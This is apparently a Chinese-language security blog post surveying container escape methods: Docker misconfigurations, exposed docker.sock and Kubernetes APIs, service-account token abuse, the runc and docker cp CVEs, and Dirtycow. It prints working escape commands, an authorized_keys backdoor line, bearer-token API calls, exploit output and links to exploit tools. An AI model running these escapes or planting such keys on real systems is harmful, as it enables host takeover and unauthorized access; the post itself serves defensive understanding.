cdxy.me
Footprints on Cyber Security.

容器即隔离

"The only real solution to security is to admit that bugs happen, and then mitigate them by having multiple layers, so if you have a hole in one component, the next layer will catch the issue." —— LinuxCon NA 2015, Linus Torvalds

Docker利用Linux Namespace实现了操作系统级的资源隔离,使容器进程可以充分利用宿主机的资源而不会互相影响。

Linux Namespace 实现了6项资源隔离,基本上涵盖了一个小型操作系统的运行要素,包括主机名、用户权限、文件系统、网络、进程号、进程间通信。

Namespace   变量              隔离资源
Cgroup      CLONE_NEWCGROUP   Cgroup 根目录
IPC         CLONE_NEWIPC      System V IPC, POSIX 消息队列等
Network     CLONE_NEWNET      网络设备,协议栈、端口等
Mount       CLONE_NEWNS       挂载点
PID         CLONE_NEWPID      进程ID
User        CLONE_NEWUSER     用户和group ID
UTS         CLONE_NEWUTS      Hostname和NIS域名

容器逃逸,即找到未隔离的部分并加以利用,导致隔离失效的方法有:

  1. 用户层:用户配置不当
  2. 服务层:容器服务自身实现不当
  3. 系统层:Linux内核漏洞

用户配置不当导致隔离失效

最"无用"的docker命令

以下docker启动命令可以被称为,它通过三个=host参数分别绕过了Network,PID,IPC namespace,然后通过--volume挂载根目录使主机全部文件暴露在容器内部,--privileged使容器拥有root用户权限。

docker run -ti 
    --privileged 
    --net=host 
    --pid=host 
    --ipc=host 
    --volume /:/host 
    busybox 
    chroot /host

这个例子表明,用户启动容器时的不当配置可使容器逃逸非常简单。

docker.sock暴露到容器内部

docker.sock是Docker deamon监听的Unix socket,能与其通信意味着可以管理docker。该接口默认以root权限运行,仅对启动docker服务的宿主机暴露,但由于一些业务场景的部署需求,可能导致逃逸风险。

比如将docker.sock挂载到容器内部:

docker -v /var/run/docker.sock:/var/run/docker.sock

此时容器内部可以与docker deamon通信,可控制docker run一个高权限的恶意容器,从而拿到root shell:

find / -name docker.sock
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json
  • 利用工具:https://github.com/AbsoZed/DockerPwn.py
  • 案例:https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-bug-2/

docker.sock暴露到公网

此类利用方法已广泛集成在各种蠕虫,暴露在公网的Docker Remote API会被迅速植入挖矿程序。

docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
POST /v1.26/containers/create

K8s API Server暴露到公网

除了Docker以外,容器编排平台也会出现此类未授权访问问题。K8s作为主流容器平台,其API提供两种连接方式:8080测试端口无需认证;6443生产端口需要认证,且有TLS保护。用户如将8080端口开到公网,会导致未授权访问入侵。

POST /api/v1/namespaces/default/replicationcontrollers

其他容器平台也有相似问题:

挂载敏感目录

以读写权限挂载系统核心目录(/root, /var/run等)到容器,会影响主机中其他应用的依赖从而导致穿透:

docker run -it -v /root:/root ubuntu /bin/bash
(echo -e "\n\n";cat id_rsa_new.pub) >> /root/.ssh/authorized_keys

通过K8s service account攻击K8s API

K8s pod中默认携带API-server的访问凭证,如果用户在RBAC权限配置时出现失误,则容器中可以直接通过K8s service account向K8s下发指令,影响pod甚至整个集群安全。

service account在容器内部默认路径:

cd /var/run/secrets/kubernetes.io/serviceaccount

带凭证访问API server

curl -voa  -s  https://192.168.0.234:6443/version

# 以下命令相当于 kubectl get no

curl -s https://192.168.0.234:6443/api/v1/nodes?watch  --header "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tOGprZmQiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2DydmljZS1hY2NvdW50LnVpZCI6Ijg4Y2ZmNmYzLWY0NzktMTFlOS1iZmY1LTJlYzU3MmZlMWRjOCIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OU740qNcSf0Z__vAO1XJWUw9fvNNI2e4LxHypkpzREmnqrK9UZ-rrp9tG8Vxbc65FlPFj9efdpfWYExxjDDQwQTi-5Afmk4EA6EH-4vEs4V1r4gb0za8cyPVSAjzmEh7uIMgQHVo7y32V_BqUd8cmBoTdgnTY8Nx2QvMClvoYvEWvDKhbMnQjWH1x5Z6jK0iNg7btlK_WXnz8-yU2a0-jgoZFZ8D_qX16mZJ_ZoxEwPNTeNR8pP1l3ebZGVqBQA1PIFVG4HOlYomZya_DWGleMRYpulnECtBOTYyswzCwN8qJUVsdv6yWH1blWHKzYrkcoDmp2r6QhekaG1KFoX_YA" --cacert ca.crt 

容器服务自身实现不当导致隔离失效

既要隔离,又要通信,本身就是个悖论。如何保证通信时的安全性,实现起来非常艺术。

19年的两个docker漏洞均利用了功能设计缺陷,实现了容器内部覆盖runc文件、libnss库从而导致RCE的操作,长期来看此类实现并没有理论上安全验证,因此docker实现缺陷导致的逃逸漏洞会继续发生。

Docker runc (CVE-2019-5736)

  • Centos7 https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw/

容器内运行exp:

root@9ab7342a13ef:~/docker_exploit/docker-runc# ./exp_linux_amd64
[+] Overwritten /bin/sh successfully

宿主机执行exec触发:

[root@iZm5efwbdpum6qiskalzrfZ ~]# docker exec 9ab7342a13ef /bin/bash

容器内exp状态更新:

root@9ab7342a13ef:~/docker_exploit/docker-runc# ./exp_linux_amd64
[+] Overwritten /bin/sh successfully

[+] Found the PID: 3154
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000268240}

Docker cp (CVE-2019-14271)

  • https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

Linux内核漏洞

Dirtycow

  • 存在漏洞的云市场-ubuntu 14.04镜像
root@iZm5e3paasmtr8vbsj8rjgZ:~# uname -a
Linux iZm5e3paasmtr8vbsj8rjgZ 3.13.0-65-generic #106-Ubuntu SMP Fri Oct 2 22:08:27 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
  • docker-ce
apt-get update

apt-get install \
curl \
git \
linux-image-extra-$(uname -r) \
linux-image-extra-virtual \
apt-transport-https \
ca-certificates \
software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

apt-key fingerprint 0EBFCD88

add-apt-repository \
"deb [arch=amd64] https://download.docker.com/linux/ubuntu \
$(lsb_release -cs) \
stable"

apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=17.03.0~ce-0~ubuntu-trusty
  • Exploit
git clone https://github.com/gebl/dirtycow-docker-vdso